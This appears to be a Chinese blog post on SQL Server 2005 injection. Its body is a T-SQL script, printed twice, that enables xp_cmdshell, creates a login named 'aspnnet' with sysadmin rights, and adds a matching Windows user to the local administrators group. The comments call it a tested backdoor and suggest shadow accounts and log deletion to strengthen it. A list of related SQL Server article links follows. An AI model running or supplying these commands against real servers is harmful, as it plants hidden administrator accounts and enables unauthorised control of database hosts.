SQL Server 2005 SQL 注入
2016-09-02 11:47
363 查看
--攻与防,矛与盾
--sql server 2005上测试成功的。再加上影子账户及删除日志。那就是很强的后门了。
--enabble xp_cmdshell
EXEC sys.sp_configure N'show advanced options',
N'1' RECONFIGURE WITH OVERRIDE
go
EXEC sys.sp_configure N'xp_cmdshell', N'1'
go
RECONFIGURE WITH OVERRIDE
go
EXEC sys.sp_configure N'show advanced options',
N'0' RECONFIGURE WITH OVERRIDE
go
-- Unenable xp_cmdshell
EXEC sys.sp_configure N'show advanced options',
N'1' RECONFIGURE WITH OVERRIDE
go
EXEC sys.sp_configure N'xp_cmdshell', N'0'
go
RECONFIGURE WITH OVERRIDE
go
EXEC sys.sp_configure N'show advanced options',
N'0' RECONFIGURE WITH OVERRIDE
go
exec master.dbo.sp_addlogin
aspnnet;--
exec master.dbo.sp_password
null,aspnnet,aspnnet;--
exec master.dbo.sp_addsrvrolemember
aspnnet,sysadmin;--
exec master.dbo.xp_cmdshell 'net user aspnnet aspnnet
/workstations:* /times:all /passwordchg:yes /passwordreq:yes
/active:yes /add';--
exec master.dbo.xp_cmdshell 'net localgroup administrators aspnnet
/add';--
--sql server 2005上测试成功的。再加上影子账户及删除日志。那就是很强的后门了。
--enabble xp_cmdshell
EXEC sys.sp_configure N'show advanced options',
N'1' RECONFIGURE WITH OVERRIDE
go
EXEC sys.sp_configure N'xp_cmdshell', N'1'
go
RECONFIGURE WITH OVERRIDE
go
EXEC sys.sp_configure N'show advanced options',
N'0' RECONFIGURE WITH OVERRIDE
go
-- Unenable xp_cmdshell
EXEC sys.sp_configure N'show advanced options',
N'1' RECONFIGURE WITH OVERRIDE
go
EXEC sys.sp_configure N'xp_cmdshell', N'0'
go
RECONFIGURE WITH OVERRIDE
go
EXEC sys.sp_configure N'show advanced options',
N'0' RECONFIGURE WITH OVERRIDE
go
exec master.dbo.sp_addlogin
aspnnet;--
exec master.dbo.sp_password
null,aspnnet,aspnnet;--
exec master.dbo.sp_addsrvrolemember
aspnnet,sysadmin;--
exec master.dbo.xp_cmdshell 'net user aspnnet aspnnet
/workstations:* /times:all /passwordchg:yes /passwordreq:yes
/active:yes /add';--
exec master.dbo.xp_cmdshell 'net localgroup administrators aspnnet
/add';--
相关文章推荐
- Configure MS SQL Server 2005 Rem…
- [转]安装SQL Server 2005 Manageme…
- java怎么连接sql server 2005
- 在连接到SQL Server2005时,在…
- SQL Server 2005 "sa"帐号被禁用 …
- SQL Server 2005 不允许远程连接解…
- 如何更改SQL Server 2005的…
- SQL Server 2005移动数据文件
- [转]Sql Server 2005更新SP3补丁后…
- SQL Server 2005安装图解
- SQL Server 2005重新安装问题
- 如何灵活运用SQL Server 2005 SSIS…
- SQL SERVER 2005 …
- SQL SERVER中建立索引及引用
- 关于SQL SERVER 2008从suspect状态…
- 书评:Microsoft SQL Server企业级…
- 找不到SQL Server ODBC 驱动程序的…
- 有关SQL Server 2008安装中重新启…
- 关于SQL SERVER 2008安装时出现不…
- 关于SQL SERVER 2005报错"性能监视…